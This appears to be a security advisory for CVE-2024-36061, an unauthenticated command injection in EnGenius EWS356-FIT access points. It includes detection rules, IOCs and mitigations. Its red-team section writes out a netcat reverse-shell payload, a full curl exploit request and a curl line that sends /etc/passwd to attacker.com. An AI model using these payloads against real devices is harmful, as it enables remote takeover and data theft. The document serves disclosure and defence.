CVE-2024-36061

Executive Summary

CVE-2024-36061 is a critical blind OS command injection vulnerability affecting EnGenius EWS356-FIT wireless access points running firmware version 1.1.30 and earlier. The flaw resides in the Ping and Speed Test utilities, which fail to sanitize user-supplied input before passing it to the underlying operating system. An unauthenticated attacker can inject arbitrary shell metacharacters (e.g., ;, |, &) to execute arbitrary OS commands with the privileges of the web server process. This allows full remote compromise of the device, including data exfiltration, lateral movement, and potential use as a bot in DDoS attacks. No public proof-of-concept or patch is currently available, making this a high-priority zero-day for asset owners.

Supply Chain & Package Security

This vulnerability is not related to any software supply chain (NPM, PyPI, Go, Ruby). It is a firmware-level issue in an embedded IoT device.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)
• Threat Level: Critical – Remote, unauthenticated, no user interaction required, and full device compromise.

Deep Dive & Mechanics

The vulnerability exists in the web management interface of the EnGenius EWS356-FIT. The Ping and Speed Test diagnostic tools accept user input (e.g., an IP address or hostname) and pass it directly to a shell command without proper sanitization or escaping. For example, the Ping utility likely constructs a command like:

ping -c 4 <user_input>

An attacker can inject shell metacharacters such as ;, |, &, or $(...) to break out of the intended command and execute arbitrary OS commands. Because the injection is blind (no direct output returned to the attacker), the attacker must rely on out-of-band techniques (e.g., DNS exfiltration, reverse shell) to confirm execution.

Root Cause: Lack of input validation and use of unsafe functions like system(), exec(), or popen() in the firmware's CGI scripts.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

<?php
$ip = $_POST['ip_address'];
$output = shell_exec("ping -c 4 " . $ip);
echo $output;
?>

Patched Code (Conceptual):

<?php
$ip = $_POST['ip_address'];
// Validate IP address format
if (filter_var($ip, FILTER_VALIDATE_IP)) {
    $output = shell_exec("ping -c 4 " . escapeshellarg($ip));
    echo htmlspecialchars($output);
} else {
    echo "Invalid IP address.";
}
?>

The patched version uses escapeshellarg() to escape shell metacharacters and validates the input format before execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target EnGenius EWS356-FIT with firmware <= 1.1.30
• Network access to the web management interface (typically port 80 or 443)

Exploitation Steps:

1. Identify the target device using Shodan or network scanning.
2. Access the Ping or Speed Test functionality (e.g., /cgi-bin/ping.cgi).
3. Inject a payload using shell metacharacters. Example for a reverse shell:

   ; nc -e /bin/sh <attacker_ip> 4444 &
   

4. Set up a listener on the attacker machine:

   nc -lvnp 4444
   

5. Execute the request (e.g., via curl):

   curl -X POST -d "ip_address=; nc -e /bin/sh 192.168.1.100 4444 &" http://target/cgi-bin/ping.cgi
   

Alternative Payload (Out-of-Band Data Exfiltration):

; curl http://attacker.com/$(cat /etc/passwd) &

Blue Team

Detection & Response:

• Monitor for anomalous outbound connections from the device (e.g., to unknown IPs on port 4444).
• Look for shell metacharacters (;, |, &, $) in HTTP POST parameters to /cgi-bin/ping.cgi or /cgi-bin/speedtest.cgi.
• Enable logging on the device and centralize logs for analysis.
• Isolate affected devices on a separate VLAN to limit lateral movement.

Honeypot Setup:

• Deploy a fake EnGenius web interface that logs all POST requests for analysis.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound connections from the device to unusual IPs/ports (e.g., 4444/tcp).
  • DNS queries to attacker-controlled domains (e.g., exfil.attacker.com).
  • HTTP POST requests containing shell metacharacters to /cgi-bin/ping.cgi or /cgi-bin/speedtest.cgi.

• Host IOCs:

  • Unexpected processes running on the device (e.g., nc, bash, curl).
  • Modified system files (e.g., /etc/passwd, /etc/shadow).
  • New cron jobs or startup scripts.

• File IOCs:

  • Presence of reverse shell scripts in /tmp/ or /var/.

Detection Engineering

YARA Rule

rule CVE_2024_36061_EnGenius_Command_Injection {
    meta:
        description = "Detects shell metacharacters in HTTP POST requests to EnGenius EWS356-FIT"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-36061"
    strings:
        $metachar1 = ";"
        $metachar2 = "|"
        $metachar3 = "&"
        $metachar4 = "$("
        $path = "/cgi-bin/ping.cgi" nocase
        $path2 = "/cgi-bin/speedtest.cgi" nocase
    condition:
        any of ($metachar*) and any of ($path*)
}

Sigma Rule

title: EnGenius EWS356-FIT Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests containing shell metacharacters to EnGenius diagnostic endpoints
author: Valters IT
date: 2024/10/27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-36061
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '/cgi-bin/ping.cgi'
            - '/cgi-bin/speedtest.cgi'
        cs-uri-query|contains:
            - ';'
            - '|'
            - '&'
            - '$('
    condition: selection
falsepositives:
    - Legitimate use of special characters in IP addresses (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-36061 EnGenius EWS356-FIT Command Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/cgi-bin/ping.cgi"; http_uri; content:";"; http_client_body; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2024-36061 EnGenius EWS356-FIT Command Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/cgi-bin/speedtest.cgi"; http_uri; content:";"; http_client_body; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable remote management of the device if not required.
2. Restrict access to the web interface via firewall rules (allow only trusted IPs).
3. Monitor logs for exploitation attempts.

Long-Term Fix:

• No official patch is available. Contact EnGenius support for updates.
• Consider replacing the device with a patched alternative if critical.

Workaround:

• Implement a reverse proxy (e.g., Nginx) that filters out shell metacharacters from POST requests to the device.

Valters IT
DevSecOps & Cyber Threat Intelligence